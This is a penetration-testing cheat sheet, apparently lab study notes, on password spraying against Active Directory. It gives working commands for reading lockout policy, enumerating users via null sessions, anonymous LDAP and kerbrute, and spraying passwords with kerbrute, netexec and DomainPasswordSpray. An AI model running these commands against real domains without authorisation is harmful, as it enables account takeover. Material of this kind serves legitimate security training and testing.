# Password Spraying Attack Try single passwords on all users, less chance of lockout. ## Policy Password Important to obtain **password policy**, with:
Lockout thresholdPossible attempts before being blocked
Lockout durationDuration of the block
Lockout observation windowAfter how long does the reset of attempts occur
### Locally {% code overflow="wrap" %} ```powershell net accounts ``` {% endcode %} {% code overflow="wrap" %} ```powershell Get-ADDefaultDomainPasswordPolicy ``` {% endcode %} ### Remotely
ToolDetails
netexecnxc smb <IP> -u <USER> -p <PASS> --pass-pol
enum4linuxenum4linux -u <USER> -p <PASS> -P <IP>
### Null Session SMB
ToolDetails
netexecnxc smb <IP> --pass-pol
enum4linuxenum4linux -P <IP>
### LDAP Anonymous Binds
ToolDetails
ldapsearchex. INLANEFREIGHT.LOCAL
ldapsearch -H ldap://<IP> -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
## Find Usernames ### Locally {% code overflow="wrap" %} ```powershell net user /domain ``` {% endcode %} ### Remotely
ToolDetails
netexecnxc smb <IP> -u <USER> -p <PASS> --users --rid-brute
enum4linuxenum4linux -u <USER> -p <PASS> -U <IP>
### Null Session SMB
ToolDetails
netexecnxc smb <IP> --users
enum4linuxenum4linux -U <IP>
### LDAP Anonymous Binds
ToolDetails
ldapsearchex. INLANEFREIGHT.LOCAL
ldapsearch -h <IP> -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f 2 -d " "
windapsearchwindapsearch.py --dc-ip <IP> -u "" -U
### Brute Force
ToolDetails
kerbruteUse Kerberos Pre-Authentication to enumerate users via brute force (no login errors and no lockouts).
kerbrute userenum -d <DOMAIN> --dc <IP_DC> <WORDLIST>
## Spraying Attack
ToolDetails
kerbruteThis method is based on obtaining TGT for credential verification. The advantage is that it uses only two UDP frames (sends REQ-TGT and examines the response)
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> <USERS_LIST> <PASS>
If you receive a network error, make sure that the encoding of wordlist is ANSI. You can use Notepad's Save As functionality to change the encoding.
netexecThis method uses the SMB protocol to verify credentials (more traffic and slower).
nxc smb <IP> -u <USERS_LIST> -p <PASS1> <PASS2> -d <DOMAIN> --continue-on-success | grep +
DomainPasswordSprayFrom Windows, with the ability to extract the password policy itself (adapting the attack) and users if it is executed from hosts within the domain.
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password <PASS> -ErrorAction SilentlyContinue [-UserList <USERS> -Domain <DOMAIN>]